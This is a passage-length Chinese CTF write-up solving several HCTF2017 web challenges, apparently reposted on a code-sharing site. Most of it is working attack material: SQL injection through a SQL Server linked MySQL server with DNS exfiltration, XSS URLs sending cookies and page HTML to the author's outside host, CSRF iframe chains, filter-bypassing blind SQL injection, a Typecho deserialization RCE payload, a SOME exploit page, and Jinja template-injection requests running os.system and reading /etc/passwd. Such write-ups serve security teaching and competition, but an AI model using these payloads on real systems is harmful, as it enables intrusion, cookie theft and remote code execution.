HCTF2017-Web-Writeup


boring website

先通過掃描得到: http://106.15.53.124:38324/www.zip

<?php
echo "Bob received a mission to write a login system on someone else's server, and he he only finished half of the work<br />";
echo "flag is hctf{what you get}<br /><br />";
error_reporting(E_ALL^E_NOTICE^E_WARNING);

try {
   $conn = new PDO( "sqlsrv:Server=*****;Database=not_here","oob", ""); 
}

catch( PDOException $e ) {
   die( "Error connecting to SQL Server".$e->getMessage() ); 
}

#echo "Connected to MySQL<br />";
echo "Connected to SQL Server<br />";

$id = $_GET['id'];
if(preg_match('/EXEC|xp_cmdshell|sp_configure|xp_reg(.*)|CREATE|DROP|declare|if|insert|into|outfile|dumpfile|sleep|wait|benchmark/i', $id)) {
	die('NoNoNo');
}
$query = "select message from not_here_too where id = $id"; //link server: On  linkname:mysql

$stmt = $conn->query( $query ); 
if ( @$row = $stmt->fetch( PDO::FETCH_ASSOC ) ){
	//TO DO: ...
	//It's time to sleep...
}

?>

從注釋來看,這里說了link server: On linkname:mysql,sqlserver里面有幾個函數可以外連遠程數據庫再執行sql語句,比如OPENQUERY函數

然后再通過dns通道將查詢的結果傳出來。

url = "http://120.25.216.69:38324/?id=aaaa union select * from OPENQUERY([mysql],'SELECT LOAD_FILE(CONCAT(\"\\\\\\\\\",(select table_name from information_schema.TABLES where TABLE_SCHEMA=0x776562776562776562 limit 0,1),\".aaaa.pw\\\\foobar\"))')"

url = "http://120.25.216.69:38324/?id=aaaa union select * from OPENQUERY([mysql],'SELECT LOAD_FILE(CONCAT(\"\\\\\\\\\",(select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA=0x776562776562776562 and TABLE_NAME=0x736563726574 limit ,1),\".aaa.pw\\\\foobar\"))')"

url = "http://120.25.216.69:38324/?id=aaaa union select * from OPENQUERY([mysql],'SELECT LOAD_FILE(CONCAT(\"\\\\\\\\\",hex((select password from secret)),\".aaa.pw\\\\foobar\"))')"

這里有一個非預期的另類解法:

http://120.25.216.69:38324/?id=1 union select * from OPENQUERY([mysql],'select if(ord(mid((select SCHEMA_NAME frOm iNfOrmAtiOn_schEma.SCHEMATA limit 3,1),1,1))=97,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.columns C),0)')

可以通過sql語句進行笛卡爾積計算查詢導致延時效果,但是會出現很嚴重的后遺症,數據庫計算過大的時候會導致數據庫掛掉。

值得注意的是OPENQUERY的第二個參數是不能動態加入變量,所以沒法使用一些拼接sql的方式來進行獲取數據

A World Restored && A World Restored Again

這題原本是一題,但是由於出題人的疏忽非預期導致拆分為兩題。

flag1: nothing here or all the here ps:flag in admin cookie 
flag is login as admin

flag2: flag only from admin bot
http://messbox.2017.hctf.io/ 簡稱為messbox
http://auth.2017.hctf.io/ 簡稱為auth

auth是統一登錄管理平台,主要對賬號登錄注冊進行管理,每次登錄會生成一個token給messbox進行認證,這里有一個問題就是token不會變(按理會變的),所以知道了token也就能夠登錄到messbox

auth有一個xss,並且當前頁面是有token的

http://auth.2017.hctf.io/login.php?n_url=';stop();location='http://rootk.pw:8080/'+btoa(document.documentElement.outerHTML);//

url編碼:
http://auth.2017.hctf.io/login.php?n_url=%27%3Bstop%28%29%3Blocation%3D%27http%3A%2f%2frootk.pw%3A8080%2f%27%2bbtoa%28document.documentElement.outerHTML%29%3B%2f%2f

這樣即可拿到flag1

第二個xss點是在message里面,但是注冊用戶名處由於出題人疏忽,導致可以xss,另外加上不變token問題,可以利用拿到flag2

先注冊用戶為:
<script src=//auth.2017.hctf.io/getmessage.php?callback=location=%27http://rootk.pw/%27%2bbtoa(document.cookie);//></script>

得到他的token鏈接為:
http://messbox.2017.hctf.io/?token=NDYyMGZlMTNhNWM3YTAxY3xQSE5qY21sd2RDQnpjbU05THk5aGRYUm9Makl3TVRjdWFHTjBaaTVwYnk5blpYUnRaWE56WVdkbExuQm9jRDlqWVd4c1ltRmphejFzYjJOaGRHbHZiajBsTWpkb2RIUndPaTh2Y205dmRHc3VjSGN2SlRJM0pUSmlZblJ2WVNoa2IyTjFiV1Z1ZEM1amIyOXJhV1VwT3k4dlBqd3ZjMk55YVhCMFBnPT0=

開始以為是要獲取管理員的messbox首頁頁面,uber的漏洞想法過多干預了,然后把攻擊流程想的太復雜了,這樣簡化的主要問題是
1、先觸發auth的xss(因為必須要在登錄的情況下才能觸發),並且延時獲取csrfcode然后進行登錄
2、在未登錄前就對auth的賬號進行退出,利用csp防止messbox的賬號退出
3、再訪問user.php觸發xss

<!DOCTYPE html>
<html>
<head>
  <meta http-equiv="Content-Security-Policy" content="img-src http://auth.2017.hctf.io http://rootk.pw:8080; frame-src http://auth.2017.hctf.io http://rootk.pw:8080 http://messbox.2017.hctf.io">
  <title></title>
</head>
<body>
<script>
var logina = window.top.document.createElement('iframe');
logina.setAttribute('src', 'http://rootk.pw:8080/loginn.html');
window.top.document.body.appendChild(logina);

setTimeout(function() {
  var loginIframe = window.top.document.createElement('iframe');
  loginIframe.setAttribute('src', 'http://rootk.pw:8080/in_and_out.html');
  window.top.document.body.appendChild(loginIframe);
}, 200);

setTimeout(function() {
  var loginIframe = window.top.document.createElement('iframe');
  loginIframe.setAttribute('src', 'http://messbox.2017.hctf.io/user.php');
  window.top.document.body.appendChild(loginIframe);
}, 1600);
</script>
</body>
</html>

loginn.html

<meta http-equiv="Content-Security-Policy" content="frame-src http://auth.2017.hctf.io">
<iframe src="http://auth.2017.hctf.io/login.php?n_url=%27%3Bstop%28%29%3Bcreate_input%3Dfunction%28n%2Cv%29%7Bvar%20input1%3Ddocument.createElement%28%22input%22%29%3Binput1.type%3D%22text%22%3Binput1.name%3Dn%3Binput1.value%3Dv%3Breturn%20input1%7D%3BsetTimeout%28function%28%29%7Bvar%20xhr%3Dnew%20XMLHttpRequest%28%29%3Bxhr.open%28%22get%22%2C%22http%3A%2f%2fauth.2017.hctf.io%2flogin.php%22%29%3Bxhr.send%28null%29%3Bxhr.onreadystatechange%3Dfunction%28%29%7Bif%28xhr.responseText%29%7Bre%3D%2fcsrftoken%22%20value%3D%28.%2a%3F%29%3E%2f%3Bcsrfcode%3Dre.exec%28xhr.responseText%29%5B1%5D%3Bconsole.log%28csrfcode%29%7D%7D%7D%2C800%29%3BsetTimeout%28function%28%29%7Bvar%20form1%3Ddocument.createElement%28%22form%22%29%3Bdocument.head.appendChild%28form1%29%3Bform1.appendChild%28create_input%28%22user%22%2C%22bbbbba%22%29%29%3Bform1.appendChild%28create_input%28%22pass%22%2C%22123456%22%29%29%3Bform1.appendChild%28create_input%28%22csrftoken%22%2Ccsrfcode%29%29%3Bform1.method%3D%22POST%22%3Bform1.action%3D%22http%3A%2f%2fauth.2017.hctf.io%2flogin.php%3Fn_url%3Dzzzzzzzzzzzzzzzzz%22%3Bform1.submit%28%29%7D%2C1200%29%3B%2f%2f"></iframe>

其中xss執行的代碼

create_input = function(n,v){
  var input1 = document.createElement('input');  
  input1.type = 'text';  
  input1.name = n;  
  input1.value = v;  
  return input1;
}
setTimeout(function() {
  var xhr=new XMLHttpRequest();xhr.open("get","http://auth.2017.hctf.io/login.php");xhr.send(null);xhr.onreadystatechange=function(){if(xhr.responseText){
  re=/csrftoken" value=(.*?)>/;
  csrfcode=re.exec(xhr.responseText)[1];
  console.log(csrfcode);
  }}
}, 800);
setTimeout(function() {
  var form1 = document.createElement('form');  
  document.head.appendChild(form1);
  form1.appendChild(create_input('user','bbbbba')); 
  form1.appendChild(create_input('pass','123456')); 
  form1.appendChild(create_input('csrftoken',csrfcode));  
  form1.method = 'POST';  
  form1.action = 'http://auth.2017.hctf.io/login.php?n_url=zzzzzzzzzzzzzzzzz'; 
  form1.submit(); 
}, 1200);

in_and_out.html

<meta http-equiv="Content-Security-Policy" content="img-src http://auth.2017.hctf.io">
<img src="http://auth.2017.hctf.io/logout.php" onerror="redir()">
<script>
    var redir = function() {
        window.location = 'http://auth.2017.hctf.io/login.php';
    };
</script>

SQL Silencer

這個注入過濾了很多特殊字符,執行出錯會顯示We only have 3 users.

但是還是可以利用運算來進行布爾盲注

/index/index.php?id=3/(select%0a(ascii(mid((user())from(1)))>0))

修改數字0位置,當第一個字符為104的時候,(select%0a(ascii(mid((user())from(1)))>0))執行結果為0,3/0就會出現Id error,這樣便可以知道第一個字符,通過修改from里面可猜解其余的字符

另外flag表中有兩條數據,limit等被限制,可以用regexp正則來匹配hctf字符串

/index/index.php?id=3/(select%0a(ascii(mid(((select%0aflag%0afrom%0aflag%0awhere%0aflag%0aregexp%0a0x68637466))from(6)))%3E§0§))

最后拿到一個路徑: ./H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/

通過掃描發現是一個typeecho,用前段時間爆出的rce拿到flag

生成payload

<?php
class Typecho_Feed {
	const RSS1 = 'RSS 1.0';
	const RSS2 = 'RSS 2.0';
	const ATOM1 = 'ATOM 1.0';
	const DATE_RFC822 = 'r';
	const DATE_W3CDTF = 'c';
	const EOL = "\n";
	private $_type;
	private $_items;

	public function __construct() {
		$this->_type = $this::RSS2;
		$this->_items[0] = array(
			'title' => '1',
			'link' => '1',
			'date' => 1508895132,
			'category' => array(new Typecho_Request()),
			'author' => new Typecho_Request(),
		);
	}
}

class Typecho_Request {
	private $_params = array();
	private $_filter = array();

	public function __construct() {
		#$this->_params['screenName'] = 'var_dump(glob(\'/flag_is_here/*\'))';
		$this->_params['screenName'] = 'var_dump(file_get_contents(\'/flag_is_here/flag\'))'; #
		$this->_filter[0] = 'assert';
	}
}

$exp = array(
	'adapter' => new Typecho_Feed(),
	'prefix' => 'typecho_',
);

echo base64_encode(serialize($exp));

發送包:

GET /index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php?finish=1 HTTP/1.1
Host: sqls.2017.hctf.io
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.89 Safari/537.36
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ja;q=0.6
Cookie: __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjQ5OiJ2YXJfZHVtcChmaWxlX2dldF9jb250ZW50cygnL2ZsYWdfaXNfaGVyZS9mbGFnJykpIjt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjY6ImFzc2VydCI7fX19czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NDk6InZhcl9kdW1wKGZpbGVfZ2V0X2NvbnRlbnRzKCcvZmxhZ19pc19oZXJlL2ZsYWcnKSkiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
Referer:http://sqls.2017.hctf.io/index/H3llo_111y_Fr13nds_w3lc0me_t0_hctf2017/install.php
Connection: close

源碼:

<?php  
$dbhost  =  'localhost' ; 
$dbuser  =  'hctf' ; 
$dbpass  =  'hctf2017' ; 

function  sql_check ( $sql ){ 
    if( $sql  <  1  ||  $sql  >  3 ){ 
        die( 'We only have 3 users.' ); 
    } 

     $check  =  preg_match ( '/&|_|\+|or|,|and| |\|\||#|-|`|;|%00|%0a|%0b|%0c|%0d|%0e|%0f|"|insert|group|limit|update|delete|\'|\\*|\*|\.\.\/|\.\/|into|load_file|outfile|select([\s]+)from|union([\s\S]+)select([\s\S]+)from/i' , $sql ); 
    if(  $check  ){ 
        die( "Nonono!" ); 
    } else { 
        return  $sql ; 
    } 
} 
if(isset( $_GET [ 'id' ])){ 
     $id  =  $_GET [ 'id' ]; 
     $id  =  sql_check ( $id );    

     $db  = new  mysqli ( $dbhost ,  $dbuser ,  $dbpass ,  "hctf" ); 
    if( mysqli_connect_error ()){ 
        die( 'Emmmm, could not connect to databse. Plz tell admin.' ); 
    }    

     $sql  =  "SELECT username FROM `user` WHERE id =  { $id }  limit 0 , 1" ;   

    if( $result  =  $db -> query (  $sql  )){ 
        if( $row  =  $result -> fetch_array ( MYSQLI_ASSOC )){ 
            echo  $row [ 'username' ]. "\n" ; 
        } 
        else { 
            die( 'Id error' ); 
        } 
         $result -> close (); 
    }  
    else  { 
        die( 'There is nothing.' ); 
    } 

     $db -> close (); 
} 
?> 

預期解:注入可以通過這樣出數據(非盲注)

id=1=2|@c:=(select(flag)from(flag)where(flag<0x30))union(select@c)

Deserted place

用戶信息里面可xss

<img src="1" onerror="location='http://rootk.pw:8080/'%2bdocument.cookie">

這里有一個可以將別人的message修改為自己的

http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=xiaoming

其中關鍵js內容為:

<script>
function UpdateProfile(){
	var username = document.getElementById('user').value;
	var email = document.getElementById('email').value;
	var message = document.getElementById('mess').value;

	window.opener.document.getElementById("email").innerHTML="Email: "+email;
	window.opener.document.getElementById("mess").innerHTML="Message: "+message;

	console.log("Update user profile success...");
	window.close();
}

function EditProfile(){
	document.onkeydown=function(event){
		if (event.keyCode == 13){
			UpdateProfile();
		}
	}
}

function RandomProfile(){
	setTimeout('UpdateProfile()', 1000);
}

</script>
</div>
</div>

<script>RandomProfile();</script>

<script>
function update(){
	
	var	email = document.getElementById("email").innerHTML.substr(7);
	var message = document.getElementById("mess").innerHTML.substr(9);
	var csrftoken = document.getElementById("csrft").innerHTML.substr(11);
	
	var x = new XMLHttpRequest();
	x.open('POST', './api/update.php', true); 
	x.setRequestHeader("Content-type","application/x-www-form-urlencoded");
	x.send('message='+message+'&email='+email+'&csrftoken='+csrftoken);
}

function edit(){
	var newWin = window.open("./edit.php?callback=EditProfile",'','width=600,height=600');
	var loop = setInterval(function() { 
	  if(newWin.closed) {  
	    clearInterval(loop);  
	    update();
	  }  
	}, 1000);

};
</script>

當我們點擊要編輯的時候,是window.open了一個子頁面,等完成之后,子頁面關閉觸發去修改父頁面的內容。

xss3.html

<iframe src="http://desert.2017.hctf.io/user.php" name=b></iframe>
<iframe name=a></iframe>

<script>
window.frames[0].open('http://desert.2017.hctf.io/edit.php?callback=EditProfile','a');
setTimeout(
  function(){
    window.frames[1].location.href = 'http://desert.2017.hctf.io/edit.php?callback=RandomProfile&user=kkkkkhello'
  }
,1000);
</script>

所以這個exp就是,首先在框架b中打開user.php,在里面window.open一個窗口到框架a中

然后框架a再跳轉到修改的頁面上面

這一切都是為了能夠正常執行edit.php時候的js,不然窗口不對會導致報錯。

window.opener.document.getElementById("email").innerHTML="Email: "+email;

另外的就是做這題目的時候,實際中window.open如果是非用戶交互操作是會被瀏覽器攔截的,但是bot不會去攔截.

這類攻擊叫: some攻擊方式,參考資料:http://www.benhayak.com/2015/06/same-origin-method-execution-some.html

Repeater

from flask import Flask, render_template, render_template_string, request
app = Flask(__name__)

@app.route("/")
def index():
    secret = request.args.get('secret')
    print secret    

    black_list = ["__", "[", "]",
    '|a', '|b', '|c', '|d', '|e', '|f', '|g', '|h' , '|i', '|j', '|k', '|l', '|m', '|n', '|o', '|p', '|q', '|r', '|s', '|t', '|u', '|v', '|w', '|x', '|y', '|z', 
    ' ', '"', '\x0a', 'os']   

    for bad_strings in black_list:
        for param in request.args:
            if bad_strings in request.args[param]:
                if(bad_strings == '\x0a'):
                    return "Emmmmm, '{}' is not allowed.".format(str(list(bad_strings))[2:-2]), 400  
                else:
                    return "Emmmmm, '{}' is not allowed.".format(bad_strings), 400  

    rendered_template = render_template("app.html", find_secret = secret)
    # print(rendered_template)  

    return render_template_string(rendered_template)

if __name__ == "__main__":
    app.run(host="0.0.0.0")

執行命令:

GET /?secret=secret={%set%0ca,b,c,d,e,f,g,h,i=request|%0cattr(request.args.class|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))|%0cattr(request.args.mro|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|%0cattr(request.args.subc|%0cformat(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.cookies.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/fooo.py&write=w&a=_ HTTP/1.1
Host: love.lemon:5000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: payload=__import__('os').system('touch /tmp/a')
X-Forwarded-For: 8.8.8.8, 127.0.0.1'a
X-Forwarded: 127.0.0.1'a
Client-IP: 127.0.0.1'a
Cluster-Client-IP: 127.0.0.1'a
True-Client-IP: 127.0.0.1'a
Connection: close
Upgrade-Insecure-Requests: 1

讀取文件

GET /?secret={{request|%0cattr(request.cookies.class)|%0cattr(request.cookies.mro)|%0clast()|%0cattr(request.cookies.sub)()|%0cattr(request.cookies.getitem)(40)(request.cookies.file)|%0cattr(request.cookies.read)()}}
Cookie: class=__class__;mro=__mro__;sub=__subclasses__;getitem=__getitem__;read=read;file=/etc/passwd;

具體參考: http://wooyun.jozxing.cc/static/drops/tips-13683.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM